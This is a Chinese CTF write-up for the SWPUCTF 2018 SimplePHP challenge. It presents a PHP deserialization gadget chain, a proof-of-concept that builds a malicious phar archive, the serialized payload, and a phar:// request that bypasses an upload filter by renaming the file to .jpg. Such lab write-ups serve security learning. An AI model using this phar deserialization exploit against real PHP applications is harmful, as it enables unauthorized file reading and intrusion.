复现环境:
https://buuoj.cn/challenges#[SWPUCTF%202018]SimplePHP
题目就不贴了,直接给出利用链
①:echo会触发__toString魔术方法,所以这里的$this->test应该是Show类实例化的对象show
②:这里应该使$this->str['str']为Test类实例化后的对象test,然后test->source会触发__get魔术方法(因为Test类没有名为source的成员变量,所以会触发get魔术方法,并且$key=source)
③④:调用get方法,$key=source,$value=$this->params['source'],调用file_get读取$value中的内容并base64编码
⑤⑥⑦⑧:一路return,直到回到__destruct魔术方法,输出$value文件中的内容并base64编码后的结果
所以,$value也就是test->params['source']要赋值为flag的地址"/var/www/html/f1ag.php"
POC如下
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show; //触发__tostring
$show->str['str'] = $test;//触发__get;
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($c1e4r);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();
其中生成的payload为:
O:5:"C1e4r":2:{ s:4:"test";N; s:3:"str"; O:4:"Show":2:{ s:6:"source";N; s:3:"str"; a:1:{s:3:"str"; O:4:"Test":2:{ s:4:"file";N;s:6:"params"; a:1:{s:6:"source";s:22:"/var/www/html/f1ag.php";} }}}}
最后,上传exp.phar(改后缀为jpg绕过过滤),在upload目录下看到上传文件名,构造
file.php?file=phar://upload/aa6de1f7ebf0130753f44a728c5ccf61.jpg
get请求得到base编码,解码获得flag
来自ctf小菜鸡的日常分享,欢迎各位大佬留言。